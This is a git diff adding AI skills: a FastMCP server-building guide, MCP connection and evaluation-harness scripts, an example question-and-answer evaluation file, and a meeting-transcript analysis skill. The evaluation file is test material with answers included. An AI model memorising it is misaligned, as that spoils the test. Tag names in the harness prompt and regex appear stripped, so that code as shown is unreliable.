ResponseFormat.MARKDOWN: + lines = [f"# User Search Results: '{params.query}'", ""] + lines.append(f"Found {total} users (showing {len(users)})") + lines.append("") + + for user in users: + lines.append(f"## {user['name']} ({user['id']})") + lines.append(f"- **Email**: {user['email']}") + if user.get('team'): + lines.append(f"- **Team**: {user['team']}") + lines.append("") + + return "\n".join(lines) + + else: + # Machine-readable JSON format + import json + response = { + "total": total, + "count": len(users), + "offset": params.offset, + "users": users + } + return json.dumps(response, indent=2) + + except Exception as e: + return _handle_api_error(e) + +if __name__ == "__main__": + mcp.run() +``` + +--- + +## Advanced FastMCP Features + +### Context Parameter Injection + +FastMCP can automatically inject a `Context` parameter into tools for advanced capabilities like logging, progress reporting, resource reading, and user interaction: + +```python +from mcp.server.fastmcp import FastMCP, Context + +mcp = FastMCP("example_mcp") + +@mcp.tool() +async def advanced_search(query: str, ctx: Context) -> str: + '''Advanced tool with context access for logging and progress.''' + + # Report progress for long operations + await ctx.report_progress(0.25, "Starting search...") + + # Log information for debugging + await ctx.log_info("Processing query", {"query": query, "timestamp": datetime.now()}) + + # Perform search + results = await search_api(query) + await ctx.report_progress(0.75, "Formatting results...") + + # Access server configuration + server_name = ctx.fastmcp.name + + return format_results(results) + +@mcp.tool() +async def interactive_tool(resource_id: str, ctx: Context) -> str: + '''Tool that can request additional input from users.''' + + # Request sensitive information when needed + api_key = await ctx.elicit( + prompt="Please provide your API key:", + input_type="password" + ) + + # Use the provided key + return await api_call(resource_id, api_key) +``` + +**Context capabilities:** +- `ctx.report_progress(progress, message)` - Report progress for long operations +- `ctx.log_info(message, data)` / `ctx.log_error()` / `ctx.log_debug()` - Logging +- `ctx.elicit(prompt, input_type)` - Request input from users +- `ctx.fastmcp.name` - Access server configuration +- `ctx.read_resource(uri)` - Read MCP resources + +### Resource Registration + +Expose data as resources for efficient, template-based access: + +```python +@mcp.resource("file://documents/{name}") +async def get_document(name: str) -> str: + '''Expose documents as MCP resources. + + Resources are useful for static or semi-static data that doesn't + require complex parameters. They use URI templates for flexible access. + ''' + document_path = f"./docs/{name}" + with open(document_path, "r") as f: + return f.read() + +@mcp.resource("config://settings/{key}") +async def get_setting(key: str, ctx: Context) -> str: + '''Expose configuration as resources with context.''' + settings = await load_settings() + return json.dumps(settings.get(key, {})) +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple parameters (URI templates) +- **Tools**: For complex operations with validation and business logic + +### Structured Output Types + +FastMCP supports multiple return types beyond strings: + +```python +from typing import TypedDict +from dataclasses import dataclass +from pydantic import BaseModel + +# TypedDict for structured returns +class UserData(TypedDict): + id: str + name: str + email: str + +@mcp.tool() +async def get_user_typed(user_id: str) -> UserData: + '''Returns structured data - FastMCP handles serialization.''' + return {"id": user_id, "name": "John Doe", "email": "john@example.com"} + +# Pydantic models for complex validation +class DetailedUser(BaseModel): + id: str + name: str + email: str + created_at: datetime + metadata: Dict[str, Any] + +@mcp.tool() +async def get_user_detailed(user_id: str) -> DetailedUser: + '''Returns Pydantic model - automatically generates schema.''' + user = await fetch_user(user_id) + return DetailedUser(**user) +``` + +### Lifespan Management + +Initialize resources that persist across requests: + +```python +from contextlib import asynccontextmanager + +@asynccontextmanager +async def app_lifespan(): + '''Manage resources that live for the server's lifetime.''' + # Initialize connections, load config, etc. + db = await connect_to_database() + config = load_configuration() + + # Make available to all tools + yield {"db": db, "config": config} + + # Cleanup on shutdown + await db.close() + +mcp = FastMCP("example_mcp", lifespan=app_lifespan) + +@mcp.tool() +async def query_data(query: str, ctx: Context) -> str: + '''Access lifespan resources through context.''' + db = ctx.request_context.lifespan_state["db"] + results = await db.query(query) + return format_results(results) +``` + +### Multiple Transport Options + +FastMCP supports different transport mechanisms: + +```python +# Default: Stdio transport (for CLI tools) +if __name__ == "__main__": + mcp.run() + +# HTTP transport (for web services) +if __name__ == "__main__": + mcp.run(transport="streamable_http", port=8000) + +# SSE transport (for real-time updates) +if __name__ == "__main__": + mcp.run(transport="sse", port=8000) +``` + +**Transport selection:** +- **Stdio**: Command-line tools, subprocess integration +- **HTTP**: Web services, remote access, multiple clients +- **SSE**: Real-time updates, push notifications + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +### Python-Specific Best Practices + +1. **Use Type Hints**: Always include type annotations for function parameters and return values +2. **Pydantic Models**: Define clear Pydantic models for all input validation +3. **Avoid Manual Validation**: Let Pydantic handle input validation with constraints +4. **Proper Imports**: Group imports (standard library, third-party, local) +5. **Error Handling**: Use specific exception types (httpx.HTTPStatusError, not generic Exception) +6. **Async Context Managers**: Use `async with` for resources that need cleanup +7. **Constants**: Define module-level constants in UPPER_CASE + +## Quality Checklist + +Before finalizing your Python MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools have descriptive names and documentation +- [ ] Return types are consistent across similar operations +- [ ] Error handling is implemented for all external calls +- [ ] Server name follows format: `{service}_mcp` +- [ ] All network operations use async/await +- [ ] Common functionality is extracted into reusable functions +- [ ] Error messages are clear, actionable, and educational +- [ ] Outputs are properly validated and formatted + +### Tool Configuration +- [ ] All tools implement 'name' and 'annotations' in the decorator +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Pydantic BaseModel for input validation with Field() definitions +- [ ] All Pydantic Fields have explicit types and descriptions with constraints +- [ ] All tools have comprehensive docstrings with explicit input/output types +- [ ] Docstrings include complete schema structure for dict/JSON returns +- [ ] Pydantic models handle input validation (no manual validation needed) + +### Advanced Features (where applicable) +- [ ] Context injection used for logging, progress, or elicitation +- [ ] Resources registered for appropriate data endpoints +- [ ] Lifespan management implemented for persistent connections +- [ ] Structured output types used (TypedDict, Pydantic models) +- [ ] Appropriate transport configured (stdio, HTTP, SSE) + +### Code Quality +- [ ] File includes proper imports including Pydantic imports +- [ ] Pagination is properly implemented where applicable +- [ ] Large responses check CHARACTER_LIMIT and truncate with clear messages +- [ ] Filtering options are provided for potentially large result sets +- [ ] All async functions are properly defined with `async def` +- [ ] HTTP client usage follows async patterns with proper context managers +- [ ] Type hints are used throughout the code +- [ ] Constants are defined at module level in UPPER_CASE + +### Testing +- [ ] Server runs successfully: `python your_server.py --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected +- [ ] Error scenarios handled gracefully \ No newline at end of file diff --git a/skills/mcp-builder/scripts/connections.py b/skills/mcp-builder/scripts/connections.py new file mode 100644 index 0000000..ffcd0da --- /dev/null +++ b/skills/mcp-builder/scripts/connections.py @@ -0,0 +1,151 @@ +"""Lightweight connection handling for MCP servers.""" + +from abc import ABC, abstractmethod +from contextlib import AsyncExitStack +from typing import Any + +from mcp import ClientSession, StdioServerParameters +from mcp.client.sse import sse_client +from mcp.client.stdio import stdio_client +from mcp.client.streamable_http import streamablehttp_client + + +class MCPConnection(ABC): + """Base class for MCP server connections.""" + + def __init__(self): + self.session = None + self._stack = None + + @abstractmethod + def _create_context(self): + """Create the connection context based on connection type.""" + + async def __aenter__(self): + """Initialize MCP server connection.""" + self._stack = AsyncExitStack() + await self._stack.__aenter__() + + try: + ctx = self._create_context() + result = await self._stack.enter_async_context(ctx) + + if len(result) == 2: + read, write = result + elif len(result) == 3: + read, write, _ = result + else: + raise ValueError(f"Unexpected context result: {result}") + + session_ctx = ClientSession(read, write) + self.session = await self._stack.enter_async_context(session_ctx) + await self.session.initialize() + return self + except BaseException: + await self._stack.__aexit__(None, None, None) + raise + + async def __aexit__(self, exc_type, exc_val, exc_tb): + """Clean up MCP server connection resources.""" + if self._stack: + await self._stack.__aexit__(exc_type, exc_val, exc_tb) + self.session = None + self._stack = None + + async def list_tools(self) -> list[dict[str, Any]]: + """Retrieve available tools from the MCP server.""" + response = await self.session.list_tools() + return [ + { + "name": tool.name, + "description": tool.description, + "input_schema": tool.inputSchema, + } + for tool in response.tools + ] + + async def call_tool(self, tool_name: str, arguments: dict[str, Any]) -> Any: + """Call a tool on the MCP server with provided arguments.""" + result = await self.session.call_tool(tool_name, arguments=arguments) + return result.content + + +class MCPConnectionStdio(MCPConnection): + """MCP connection using standard input/output.""" + + def __init__(self, command: str, args: list[str] = None, env: dict[str, str] = None): + super().__init__() + self.command = command + self.args = args or [] + self.env = env + + def _create_context(self): + return stdio_client( + StdioServerParameters(command=self.command, args=self.args, env=self.env) + ) + + +class MCPConnectionSSE(MCPConnection): + """MCP connection using Server-Sent Events.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return sse_client(url=self.url, headers=self.headers) + + +class MCPConnectionHTTP(MCPConnection): + """MCP connection using Streamable HTTP.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return streamablehttp_client(url=self.url, headers=self.headers) + + +def create_connection( + transport: str, + command: str = None, + args: list[str] = None, + env: dict[str, str] = None, + url: str = None, + headers: dict[str, str] = None, +) -> MCPConnection: + """Factory function to create the appropriate MCP connection. + + Args: + transport: Connection type ("stdio", "sse", or "http") + command: Command to run (stdio only) + args: Command arguments (stdio only) + env: Environment variables (stdio only) + url: Server URL (sse and http only) + headers: HTTP headers (sse and http only) + + Returns: + MCPConnection instance + """ + transport = transport.lower() + + if transport == "stdio": + if not command: + raise ValueError("Command is required for stdio transport") + return MCPConnectionStdio(command=command, args=args, env=env) + + elif transport == "sse": + if not url: + raise ValueError("URL is required for sse transport") + return MCPConnectionSSE(url=url, headers=headers) + + elif transport in ["http", "streamable_http", "streamable-http"]: + if not url: + raise ValueError("URL is required for http transport") + return MCPConnectionHTTP(url=url, headers=headers) + + else: + raise ValueError(f"Unsupported transport type: {transport}. Use 'stdio', 'sse', or 'http'") diff --git a/skills/mcp-builder/scripts/evaluation.py b/skills/mcp-builder/scripts/evaluation.py new file mode 100644 index 0000000..4177856 --- /dev/null +++ b/skills/mcp-builder/scripts/evaluation.py @@ -0,0 +1,373 @@ +"""MCP Server Evaluation Harness + +This script evaluates MCP servers by running test questions against them using Claude. +""" + +import argparse +import asyncio +import json +import re +import sys +import time +import traceback +import xml.etree.ElementTree as ET +from pathlib import Path +from typing import Any + +from anthropic import Anthropic + +from connections import create_connection + +EVALUATION_PROMPT = """You are an AI assistant with access to tools. + +When given a task, you MUST: +1. Use the available tools to complete the task +2. Provide summary of each step in your approach, wrapped in tags +3. Provide feedback on the tools provided, wrapped in tags +4. Provide your final response, wrapped in tags + +Summary Requirements: +- In your tags, you must explain: + - The steps you took to complete the task + - Which tools you used, in what order, and why + - The inputs you provided to each tool + - The outputs you received from each tool + - A summary for how you arrived at the response + +Feedback Requirements: +- In your tags, provide constructive feedback on the tools: + - Comment on tool names: Are they clear and descriptive? + - Comment on input parameters: Are they well-documented? Are required vs optional parameters clear? + - Comment on descriptions: Do they accurately describe what the tool does? + - Comment on any errors encountered during tool usage: Did the tool fail to execute? Did the tool return too many tokens? + - Identify specific areas for improvement and explain WHY they would help + - Be specific and actionable in your suggestions + +Response Requirements: +- Your response should be concise and directly address what was asked +- Always wrap your final response in tags +- If you cannot solve the task return NOT_FOUND +- For numeric responses, provide just the number +- For IDs, provide just the ID +- For names or text, provide the exact text requested +- Your response should go last""" + + +def parse_evaluation_file(file_path: Path) -> list[dict[str, Any]]: + """Parse XML evaluation file with qa_pair elements.""" + try: + tree = ET.parse(file_path) + root = tree.getroot() + evaluations = [] + + for qa_pair in root.findall(".//qa_pair"): + question_elem = qa_pair.find("question") + answer_elem = qa_pair.find("answer") + + if question_elem is not None and answer_elem is not None: + evaluations.append({ + "question": (question_elem.text or "").strip(), + "answer": (answer_elem.text or "").strip(), + }) + + return evaluations + except Exception as e: + print(f"Error parsing evaluation file {file_path}: {e}") + return [] + + +def extract_xml_content(text: str, tag: str) -> str | None: + """Extract content from XML tags.""" + pattern = rf"<{tag}>(.*?)" + matches = re.findall(pattern, text, re.DOTALL) + return matches[-1].strip() if matches else None + + +async def agent_loop( + client: Anthropic, + model: str, + question: str, + tools: list[dict[str, Any]], + connection: Any, +) -> tuple[str, dict[str, Any]]: + """Run the agent loop with MCP tools.""" + messages = [{"role": "user", "content": question}] + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + + messages.append({"role": "assistant", "content": response.content}) + + tool_metrics = {} + + while response.stop_reason == "tool_use": + tool_use = next(block for block in response.content if block.type == "tool_use") + tool_name = tool_use.name + tool_input = tool_use.input + + tool_start_ts = time.time() + try: + tool_result = await connection.call_tool(tool_name, tool_input) + tool_response = json.dumps(tool_result) if isinstance(tool_result, (dict, list)) else str(tool_result) + except Exception as e: + tool_response = f"Error executing tool {tool_name}: {str(e)}\n" + tool_response += traceback.format_exc() + tool_duration = time.time() - tool_start_ts + + if tool_name not in tool_metrics: + tool_metrics[tool_name] = {"count": 0, "durations": []} + tool_metrics[tool_name]["count"] += 1 + tool_metrics[tool_name]["durations"].append(tool_duration) + + messages.append({ + "role": "user", + "content": [{ + "type": "tool_result", + "tool_use_id": tool_use.id, + "content": tool_response, + }] + }) + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + messages.append({"role": "assistant", "content": response.content}) + + response_text = next( + (block.text for block in response.content if hasattr(block, "text")), + None, + ) + return response_text, tool_metrics + + +async def evaluate_single_task( + client: Anthropic, + model: str, + qa_pair: dict[str, Any], + tools: list[dict[str, Any]], + connection: Any, + task_index: int, +) -> dict[str, Any]: + """Evaluate a single QA pair with the given tools.""" + start_time = time.time() + + print(f"Task {task_index + 1}: Running task with question: {qa_pair['question']}") + response, tool_metrics = await agent_loop(client, model, qa_pair["question"], tools, connection) + + response_value = extract_xml_content(response, "response") + summary = extract_xml_content(response, "summary") + feedback = extract_xml_content(response, "feedback") + + duration_seconds = time.time() - start_time + + return { + "question": qa_pair["question"], + "expected": qa_pair["answer"], + "actual": response_value, + "score": int(response_value == qa_pair["answer"]) if response_value else 0, + "total_duration": duration_seconds, + "tool_calls": tool_metrics, + "num_tool_calls": sum(len(metrics["durations"]) for metrics in tool_metrics.values()), + "summary": summary, + "feedback": feedback, + } + + +REPORT_HEADER = """ +# Evaluation Report + +## Summary + +- **Accuracy**: {correct}/{total} ({accuracy:.1f}%) +- **Average Task Duration**: {average_duration_s:.2f}s +- **Average Tool Calls per Task**: {average_tool_calls:.2f} +- **Total Tool Calls**: {total_tool_calls} + +--- +""" + +TASK_TEMPLATE = """ +### Task {task_num} + +**Question**: {question} +**Ground Truth Answer**: `{expected_answer}` +**Actual Answer**: `{actual_answer}` +**Correct**: {correct_indicator} +**Duration**: {total_duration:.2f}s +**Tool Calls**: {tool_calls} + +**Summary** +{summary} + +**Feedback** +{feedback} + +--- +""" + + +async def run_evaluation( + eval_path: Path, + connection: Any, + model: str = "claude-3-7-sonnet-20250219", +) -> str: + """Run evaluation with MCP server tools.""" + print("🚀 Starting Evaluation") + + client = Anthropic() + + tools = await connection.list_tools() + print(f"📋 Loaded {len(tools)} tools from MCP server") + + qa_pairs = parse_evaluation_file(eval_path) + print(f"📋 Loaded {len(qa_pairs)} evaluation tasks") + + results = [] + for i, qa_pair in enumerate(qa_pairs): + print(f"Processing task {i + 1}/{len(qa_pairs)}") + result = await evaluate_single_task(client, model, qa_pair, tools, connection, i) + results.append(result) + + correct = sum(r["score"] for r in results) + accuracy = (correct / len(results)) * 100 if results else 0 + average_duration_s = sum(r["total_duration"] for r in results) / len(results) if results else 0 + average_tool_calls = sum(r["num_tool_calls"] for r in results) / len(results) if results else 0 + total_tool_calls = sum(r["num_tool_calls"] for r in results) + + report = REPORT_HEADER.format( + correct=correct, + total=len(results), + accuracy=accuracy, + average_duration_s=average_duration_s, + average_tool_calls=average_tool_calls, + total_tool_calls=total_tool_calls, + ) + + report += "".join([ + TASK_TEMPLATE.format( + task_num=i + 1, + question=qa_pair["question"], + expected_answer=qa_pair["answer"], + actual_answer=result["actual"] or "N/A", + correct_indicator="✅" if result["score"] else "❌", + total_duration=result["total_duration"], + tool_calls=json.dumps(result["tool_calls"], indent=2), + summary=result["summary"] or "N/A", + feedback=result["feedback"] or "N/A", + ) + for i, (qa_pair, result) in enumerate(zip(qa_pairs, results)) + ]) + + return report + + +def parse_headers(header_list: list[str]) -> dict[str, str]: + """Parse header strings in format 'Key: Value' into a dictionary.""" + headers = {} + if not header_list: + return headers + + for header in header_list: + if ":" in header: + key, value = header.split(":", 1) + headers[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed header: {header}") + return headers + + +def parse_env_vars(env_list: list[str]) -> dict[str, str]: + """Parse environment variable strings in format 'KEY=VALUE' into a dictionary.""" + env = {} + if not env_list: + return env + + for env_var in env_list: + if "=" in env_var: + key, value = env_var.split("=", 1) + env[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed environment variable: {env_var}") + return env + + +async def main(): + parser = argparse.ArgumentParser( + description="Evaluate MCP servers using test questions", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Evaluate a local stdio MCP server + python evaluation.py -t stdio -c python -a my_server.py eval.xml + + # Evaluate an SSE MCP server + python evaluation.py -t sse -u https://example.com/mcp -H "Authorization: Bearer token" eval.xml + + # Evaluate an HTTP MCP server with custom model + python evaluation.py -t http -u https://example.com/mcp -m claude-3-5-sonnet-20241022 eval.xml + """, + ) + + parser.add_argument("eval_file", type=Path, help="Path to evaluation XML file") + parser.add_argument("-t", "--transport", choices=["stdio", "sse", "http"], default="stdio", help="Transport type (default: stdio)") + parser.add_argument("-m", "--model", default="claude-3-7-sonnet-20250219", help="Claude model to use (default: claude-3-7-sonnet-20250219)") + + stdio_group = parser.add_argument_group("stdio options") + stdio_group.add_argument("-c", "--command", help="Command to run MCP server (stdio only)") + stdio_group.add_argument("-a", "--args", nargs="+", help="Arguments for the command (stdio only)") + stdio_group.add_argument("-e", "--env", nargs="+", help="Environment variables in KEY=VALUE format (stdio only)") + + remote_group = parser.add_argument_group("sse/http options") + remote_group.add_argument("-u", "--url", help="MCP server URL (sse/http only)") + remote_group.add_argument("-H", "--header", nargs="+", dest="headers", help="HTTP headers in 'Key: Value' format (sse/http only)") + + parser.add_argument("-o", "--output", type=Path, help="Output file for evaluation report (default: stdout)") + + args = parser.parse_args() + + if not args.eval_file.exists(): + print(f"Error: Evaluation file not found: {args.eval_file}") + sys.exit(1) + + headers = parse_headers(args.headers) if args.headers else None + env_vars = parse_env_vars(args.env) if args.env else None + + try: + connection = create_connection( + transport=args.transport, + command=args.command, + args=args.args, + env=env_vars, + url=args.url, + headers=headers, + ) + except ValueError as e: + print(f"Error: {e}") + sys.exit(1) + + print(f"🔗 Connecting to MCP server via {args.transport}...") + + async with connection: + print("✅ Connected successfully") + report = await run_evaluation(args.eval_file, connection, args.model) + + if args.output: + args.output.write_text(report) + print(f"\n✅ Report saved to {args.output}") + else: + print("\n" + report) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/skills/mcp-builder/scripts/example_evaluation.xml b/skills/mcp-builder/scripts/example_evaluation.xml new file mode 100644 index 0000000..41e4459 --- /dev/null +++ b/skills/mcp-builder/scripts/example_evaluation.xml @@ -0,0 +1,22 @@ + + + Calculate the compound interest on $10,000 invested at 5% annual interest rate, compounded monthly for 3 years. What is the final amount in dollars (rounded to 2 decimal places)? + 11614.72 + + + A projectile is launched at a 45-degree angle with an initial velocity of 50 m/s. Calculate the total distance (in meters) it has traveled from the launch point after 2 seconds, assuming g=9.8 m/s². Round to 2 decimal places. + 87.25 + + + A sphere has a volume of 500 cubic meters. Calculate its surface area in square meters. Round to 2 decimal places. + 304.65 + + + Calculate the population standard deviation of this dataset: [12, 15, 18, 22, 25, 30, 35]. Round to 2 decimal places. + 7.61 + + + Calculate the pH of a solution with a hydrogen ion concentration of 3.5 × 10^-5 M. Round to 2 decimal places. + 4.46 + + diff --git a/skills/mcp-builder/scripts/requirements.txt b/skills/mcp-builder/scripts/requirements.txt new file mode 100644 index 0000000..e73e5d1 --- /dev/null +++ b/skills/mcp-builder/scripts/requirements.txt @@ -0,0 +1,2 @@ +anthropic>=0.39.0 +mcp>=1.1.0 diff --git a/skills/meeting-insights-analyzer/SKILL.md b/skills/meeting-insights-analyzer/SKILL.md new file mode 100644 index 0000000..468252f --- /dev/null +++ b/skills/meeting-insights-analyzer/SKILL.md @@ -0,0 +1,327 @@ +--- +name: meeting-insights-analyzer +description: Analyzes meeting transcripts and recordings to uncover behavioral patterns, communication insights, and actionable feedback. Identifies when you avoid conflict, use filler words, dominate conversations, or miss opportunities to listen. Perfect for professionals seeking to improve their communication and leadership skills. +--- + +# Meeting Insights Analyzer + +This skill transforms your meeting transcripts into actionable insights about your communication patterns, helping you become a more effective communicator and leader. + +## When to Use This Skill + +- Analyzing your communication patterns across multiple meetings +- Getting feedback on your leadership and facilitation style +- Identifying when you avoid difficult conversations +- Understanding your speaking habits and filler words +- Tracking improvement in communication skills over time +- Preparing for performance reviews with concrete examples +- Coaching team members on their communication style + +## What This Skill Does + +1. **Pattern Recognition**: Identifies recurring behaviors across meetings like: + - Conflict avoidance or indirect communication + - Speaking ratios and turn-taking + - Question-asking vs. statement-making patterns + - Active listening indicators + - Decision-making approaches + +2. **Communication Analysis**: Evaluates communication effectiveness: + - Clarity and directness + - Use of filler words and hedging language + - Tone and sentiment patterns + - Meeting control and facilitation + +3. **Actionable Feedback**: Provides specific, timestamped examples with: + - What happened + - Why it matters + - How to improve + +4. **Trend Tracking**: Compares patterns over time when analyzing multiple meetings + +## How to Use + +### Basic Setup + +1. Download your meeting transcripts to a folder (e.g., `~/meetings/`) +2. Navigate to that folder in OpenCode +3. Ask for the analysis you want + +### Quick Start Examples + +``` +Analyze all meetings in this folder and tell me when I avoided conflict. +``` + +``` +Look at my meetings from the past month and identify my communication patterns. +``` + +``` +Compare my facilitation style between these two meeting folders. +``` + +### Advanced Analysis + +``` +Analyze all transcripts in this folder and: +1. Identify when I interrupted others +2. Calculate my speaking ratio +3. Find moments I avoided giving direct feedback +4. Track my use of filler words +5. Show examples of good active listening +``` + +## Instructions + +When a user requests meeting analysis: + +1. **Discover Available Data** + - Scan the folder for transcript files (.txt, .md, .vtt, .srt, .docx) + - Check if files contain speaker labels and timestamps + - Confirm the date range of meetings + - Identify the user's name/identifier in transcripts + +2. **Clarify Analysis Goals** + + If not specified, ask what they want to learn: + - Specific behaviors (conflict avoidance, interruptions, filler words) + - Communication effectiveness (clarity, directness, listening) + - Meeting facilitation skills + - Speaking patterns and ratios + - Growth areas for improvement + +3. **Analyze Patterns** + + For each requested insight: + + **Conflict Avoidance**: + - Look for hedging language ("maybe", "kind of", "I think") + - Indirect phrasing instead of direct requests + - Changing subject when tension arises + - Agreeing without commitment ("yeah, but...") + - Not addressing obvious problems + + **Speaking Ratios**: + - Calculate percentage of meeting spent speaking + - Count interruptions (by and of the user) + - Measure average speaking turn length + - Track question vs. statement ratios + + **Filler Words**: + - Count "um", "uh", "like", "you know", "actually", etc. + - Note frequency per minute or per speaking turn + - Identify situations where they increase (nervous, uncertain) + + **Active Listening**: + - Questions that reference others' previous points + - Paraphrasing or summarizing others' ideas + - Building on others' contributions + - Asking clarifying questions + + **Leadership & Facilitation**: + - Decision-making approach (directive vs. collaborative) + - How disagreements are handled + - Inclusion of quieter participants + - Time management and agenda control + - Follow-up and action item clarity + +4. **Provide Specific Examples** + + For each pattern found, include: + + ```markdown + ### [Pattern Name] + + **Finding**: [One-sentence summary of the pattern] + + **Frequency**: [X times across Y meetings] + + **Examples**: + + 1. **[Meeting Name/Date]** - [Timestamp] + + **What Happened**: + > [Actual quote from transcript] + + **Why This Matters**: + [Explanation of the impact or missed opportunity] + + **Better Approach**: + [Specific alternative phrasing or behavior] + + [Repeat for 2-3 strongest examples] + ``` + +5. **Synthesize Insights** + + After analyzing all patterns, provide: + + ```markdown + # Meeting Insights Summary + + **Analysis Period**: [Date range] + **Meetings Analyzed**: [X meetings] + **Total Duration**: [X hours] + + ## Key Patterns Identified + + ### 1. [Primary Pattern] + - **Observed**: [What you saw] + - **Impact**: [Why it matters] + - **Recommendation**: [How to improve] + + ### 2. [Second Pattern] + [Same structure] + + ## Communication Strengths + + 1. [Strength 1 with example] + 2. [Strength 2 with example] + 3. [Strength 3 with example] + + ## Growth Opportunities + + 1. **[Area 1]**: [Specific, actionable advice] + 2. **[Area 2]**: [Specific, actionable advice] + 3. **[Area 3]**: [Specific, actionable advice] + + ## Speaking Statistics + + - Average speaking time: [X% of meeting] + - Questions asked: [X per meeting average] + - Filler words: [X per minute] + - Interruptions: [X given / Y received per meeting] + + ## Next Steps + + [3-5 concrete actions to improve communication] + ``` + +6. **Offer Follow-Up Options** + - Track these same metrics in future meetings + - Deep dive into specific meetings or patterns + - Compare to industry benchmarks + - Create a personal communication development plan + - Generate a summary for performance reviews + +## Examples + +### Example 1: Conflict Avoidance Analysis (Inspired by Dan Shipper) + +**User**: "I download all of my meeting recordings and put them in a folder. Tell me all the times I've subtly avoided conflict." + +**Output**: +```markdown +# Conflict Avoidance Patterns + +Found 23 instances across 15 meetings where you used indirect +communication or avoided addressing tensions directly. + +## Pattern: Hedging on Critical Feedback + +**Frequency**: 8 times across 7 meetings + +**Example 1: 1:1 with Sarah** - 00:14:32 + +**What Happened**: +> "So, I was thinking... maybe we could, like, potentially +> consider looking at the timeline again? I mean, if you +> think that makes sense. But whatever you think is best!" + +**Why This Matters**: +You needed to address that Sarah's project was behind schedule, +but the hedging language ("maybe", "potentially", "if you think") +and the deflection at the end ("whatever you think") made it easy +for her to miss the urgency. + +**Better Approach**: +"Sarah, the project is two weeks behind schedule. We need to +discuss what's blocking progress and create a new timeline +today." + +[Additional examples...] + +## Recommendations + +1. **Name the issue directly** in the first sentence +2. **Remove hedging words** like "maybe," "kind of," "sort of" +3. **Ask specific questions** instead of hinting +4. **Schedule difficult conversations** instead of raising them casually +``` + +### Example 2: Leadership Facilitation + +**User**: "Analyze my team meetings and tell me about my facilitation style." + +**Output**: Provides insights on: +- How much you speak vs. team members (60% vs. 40%) +- Whether you ask questions or make statements (3:1 ratio) +- How you handle disagreements (tendency to resolve too quickly) +- Who speaks least and whether you draw them in +- Examples of good and missed facilitation moments + +### Example 3: Personal Development Tracking + +**User**: "Compare my meetings from Q1 vs. Q2 to see if I've improved my listening skills." + +**Output**: Creates a comparative analysis showing: +- Decrease in interruptions (8 per meeting → 3 per meeting) +- Increase in clarifying questions (2 → 7 per meeting) +- Improvement in building on others' ideas +- Specific examples showing the difference +- Remaining areas for growth + +## Setup Tips + +### Getting Meeting Transcripts + +**From Granola** (free with Lenny's newsletter subscription): +- Granola auto-transcribes your meetings +- Export transcripts to a folder: [Instructions on how] +- Point OpenCode to that folder + +**From Zoom**: +- Enable cloud recording with transcription +- Download VTT or SRT files after meetings +- Store in a dedicated folder + +**From Google Meet**: +- Use Google Docs auto-transcription +- Save transcript docs to a folder +- Download as .txt files or give OpenCode access + +**From Fireflies.ai, Otter.ai, etc.**: +- Export transcripts in bulk +- Store in a local folder +- Run analysis on the folder + +### Best Practices + +1. **Consistent naming**: Use `YYYY-MM-DD - Meeting Name.txt` format +2. **Regular analysis**: Review monthly or quarterly for trends +3. **Specific queries**: Ask about one behavior at a time for depth +4. **Privacy**: Keep sensitive meeting data local +5. **Action-oriented**: Focus on one improvement area at a time + +## Common Analysis Requests + +- "When do I avoid difficult conversations?" +- "How often do I interrupt others?" +- "What's my speaking vs. listening ratio?" +- "Do I ask good questions?" +- "How do I handle disagreement?" +- "Am I inclusive of all voices?" +- "Do I use too many filler words?" +- "How clear are my action items?" +- "Do I stay on agenda or get sidetracked?" +- "How has my communication changed over time?" + +## Related Use Cases + +- Creating a personal development plan from insights +- Preparing performance review materials with examples +- Coaching direct reports on their communication +- Analyzing customer calls for sales or support patterns +- Studying negotiation tactics and outcomes + diff --git a/skills/minimax-docx/.gitignore b/skills/minimax-docx/.gitignore new file mode 100644 index 0000000..59072c5 --- /dev/null +++ b/skills/minimax-docx/.gitignore @@ -0,0 +1,3 @@ +obj/ +bin/ +*.user diff --git a/skills/minimax-docx/LICENSE b/skills/minimax-docx/LICENSE new file mode 100644 index 0000000..53218a2 --- /dev/null +++ b/skills/minimax-docx/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 MiniMaxAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND 